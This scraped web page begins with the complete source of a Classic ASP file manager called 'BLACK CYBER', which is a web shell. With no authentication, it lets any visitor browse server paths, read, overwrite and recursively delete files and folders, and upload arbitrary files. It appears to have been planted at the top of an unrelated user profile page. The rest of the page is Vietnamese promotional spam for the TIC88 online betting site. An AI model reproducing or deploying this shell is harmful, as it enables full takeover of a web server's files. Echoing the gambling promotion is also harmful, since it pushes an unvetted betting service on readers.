<%@ Language="VBScript" %> <% ' ============================================================ ' File Manager BLACK CYBER - Classic ASP (ANSI version) ' CARA SIMPAN: File > Save As -> Encoding: ANSI (BUKAN UTF-8) ' Syarat: IIS + fitur Classic ASP aktif ' ============================================================ On Error Resume Next Dim fso, path, isUpload Set fso = Server.CreateObject("Scripting.FileSystemObject") ' ----- Tentukan path aktif ----- path = Request.QueryString("path") If path = "" Then path = Server.MapPath(".") If Not fso.FolderExists(path) Then path = Server.MapPath(".") path = fso.GetAbsolutePathName(path) ' ----- Upload diproses PALING AWAL (Request.BinaryRead) ----- isUpload = False If Request.ServerVariables("REQUEST_METHOD") = "POST" And Request.TotalBytes > 0 Then If InStr(1, Request.ServerVariables("CONTENT_TYPE"), "multipart/form-data", 1) > 0 Then isUpload = True DoUpload path, fso End If End If ' ----- Aksi POST (lewati saat request upload) ----- If Not isUpload Then If Request("savefile") <> "" Then DoSaveFile Request("savefile"), Request("filecontent"), fso If Request("createfolder") <> "" Then DoCreateFolder path, Request("newfolder"), fso If Request("createfile") <> "" Then DoCreateFile path, Request("newfile"), fso End If ' ----- Aksi GET ----- If Request.QueryString("delete") <> "" Then DoDelete path, Request.QueryString("delete"), fso %> File Manager BLACK CYBER
BLACK CYBER
<% Dim objFolder Set objFolder = fso.GetFolder(path) If Err.Number <> 0 Then Response.Write "ERROR - Tidak dapat mengakses: " & Server.HtmlEncode(path) & " (" & Err.Description & ")
" Response.End() End If %>

Path: <%= Server.HtmlEncode(path) %>

<% Dim parentPath parentPath = fso.GetParentFolderName(path) If parentPath <> "" Then %> [UP] Naik satu level

<% End If %>

FOLDERS

FILES

UPLOAD FILE

BUAT FOLDER

BUAT FILE

<% Dim editPath, ts, content editPath = Request.QueryString("edit") If editPath <> "" And fso.FileExists(editPath) Then Set ts = fso.OpenTextFile(editPath, 1, False, -2) content = ts.ReadAll ts.Close Set ts = Nothing If Err.Number = 0 Then %>

EDITING: <%= Server.HtmlEncode(fso.GetFileName(editPath)) %>


<% Else Response.Write "ERROR - Read Error: " & Server.HtmlEncode(Err.Description) & "
" End If End If %> <% If Err.Number <> 0 Then Response.Write "

TOP-LEVEL ERROR [" & Err.Number & "]: " & Server.HtmlEncode(Err.Description) & "

" End If %> <% ' ============================================================ ' Subrutin ' ============================================================ Sub DoDelete(basePath, name, fsoObj) Dim target target = fsoObj.BuildPath(basePath, name) On Error Resume Next If fsoObj.FileExists(target) Then fsoObj.DeleteFile target, True ElseIf fsoObj.FolderExists(target) Then fsoObj.DeleteFolder target, True End If If Err.Number = 0 Then Response.Write "OK - Deleted: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - Delete Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoSaveFile(target, content, fsoObj) On Error Resume Next Dim ts Set ts = fsoObj.CreateTextFile(target, True, False) ts.Write content ts.Close Set ts = Nothing If Err.Number = 0 Then Response.Write "OK - Saved: " & Server.HtmlEncode(fsoObj.GetFileName(target)) & "
" Else Response.Write "ERROR - Save Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoCreateFolder(basePath, name, fsoObj) If name = "" Then Exit Sub On Error Resume Next fsoObj.CreateFolder fsoObj.BuildPath(basePath, name) If Err.Number = 0 Then Response.Write "OK - Folder dibuat: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - Folder Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoCreateFile(basePath, name, fsoObj) If name = "" Then Exit Sub Dim target target = fsoObj.BuildPath(basePath, name) If fsoObj.FileExists(target) Then Response.Write "Warning - File sudah ada: " & Server.HtmlEncode(name) & "
" Exit Sub End If On Error Resume Next Dim ts Set ts = fsoObj.CreateTextFile(target, True, False) ts.Close Set ts = Nothing If Err.Number = 0 Then Response.Write "OK - File dibuat: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - File Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoUpload(basePath, fsoObj) On Error Resume Next Dim totalBytes, cType, boundary, bData, strData, fnPos, fnStart, fnEnd Dim fileName, headerEnd, dataStart, dataEnd, closeMarker, fileBytes, stream totalBytes = Request.TotalBytes If totalBytes <= 0 Then Exit Sub cType = Request.ServerVariables("CONTENT_TYPE") boundary = Mid(cType, InStr(1, cType, "boundary=", 1) + 9) boundary = Replace(boundary, """", "") boundary = "--" & boundary bData = Request.BinaryRead(totalBytes) strData = BytesToStr(bData) fnPos = InStr(1, strData, "filename=""", 1) If fnPos > 0 Then fnStart = fnPos + 10 fnEnd = InStr(fnStart, strData, """", 1) - 1 If fnEnd >= fnStart Then fileName = Mid(strData, fnStart, fnEnd - fnStart + 1) fileName = fsoObj.GetFileName(fileName) headerEnd = InStr(fnEnd, strData, vbCrLf & vbCrLf, 1) + 4 dataStart = headerEnd closeMarker = vbCrLf & boundary & "--" dataEnd = InStr(dataStart, strData, closeMarker, 1) - 1 If dataEnd < dataStart Then closeMarker = vbCrLf & boundary dataEnd = InStr(dataStart, strData, closeMarker, 1) - 1 End If If dataEnd >= dataStart And fileName <> "" Then fileBytes = StrToBytes(Mid(strData, dataStart, dataEnd - dataStart + 1)) Set stream = Server.CreateObject("ADODB.Stream") stream.Type = 1 stream.Open stream.Write fileBytes stream.SaveToFile fsoObj.BuildPath(basePath, fileName), 2 stream.Close Set stream = Nothing If Err.Number = 0 Then Response.Write "OK - Uploaded: " & Server.HtmlEncode(fileName) & "
" Else Response.Write "ERROR - Upload Error: " & Server.HtmlEncode(Err.Description) & "
" End If End If End If End If On Error GoTo 0 End Sub Function BytesToStr(bytes) Dim s Set s = Server.CreateObject("ADODB.Stream") s.Type = 1 s.Open s.Write bytes s.Position = 0 s.Type = 2 s.Charset = "iso-8859-1" BytesToStr = s.ReadText s.Close Set s = Nothing End Function Function StrToBytes(str) Dim s Set s = Server.CreateObject("ADODB.Stream") s.Type = 2 s.Charset = "iso-8859-1" s.Open s.WriteText str s.Position = 0 s.Type = 1 StrToBytes = s.Read s.Close Set s = Nothing End Function %>
  1. Home
  2. tic88page
tic88page

tic88page

 4 months ago

TIC88 - Một trong những nền tảng giải trí trực tuyến uy tín nhất hiện nay, mang đến cho người dùng trải nghiệm mượt mà và an toàn tuyệt đối. Tại TIC88, bạn có thể dễ dàng truy cập vào hệ thống trò chơi đa dạng thông qua https://tic88.page/ với dịch vụ chăm sóc khách hàng chuyên nghiệp 24/7. Hệ thống được thiết kế với công nghệ bảo mật nhiều lớp hiện đại, đảm bảo thông tin cá nhân luôn được giữ kín. Tốc độ nạp và rút tiền diễn ra nhanh chóng, giúp người chơi tiết kiệm thời gian tối đa khi giao dịch. Giao diện trang web thân thiện và tối ưu cho cả máy tính lẫn các dòng điện thoại thông minh. Đội ngũ nhân viên giàu kinh nghiệm luôn sẵn sàng giải đáp mọi thắc mắc của người dùng một cách tận tâm. Chúng tôi cam kết mang lại một môi trường giải trí công bằng và minh bạch nhất cho cộng đồng game thủ. Website: https://tic88.page/ Địa chỉ: 149A Đ. Trần Thị Trọng, Tân Sơn, Hồ Chí Minh, Việt Nam Phone: 0937482015 Email: contact@tic88.page #TIC88 #giaitrionline #naprutnhanh #hotro247 #baomat #trainghiemso #hubgame #mobilegaming

Member since May 18, 2026 MerridieJarvis48g0e@alazsh.org
Follow

Following (0)

Followers (0)

Situs ini menggunakan cookie. Dengan melanjutkan penjelajahan situs, Anda menyetujui penggunaan cookie kami. Pelajari lebih lanjut di sini.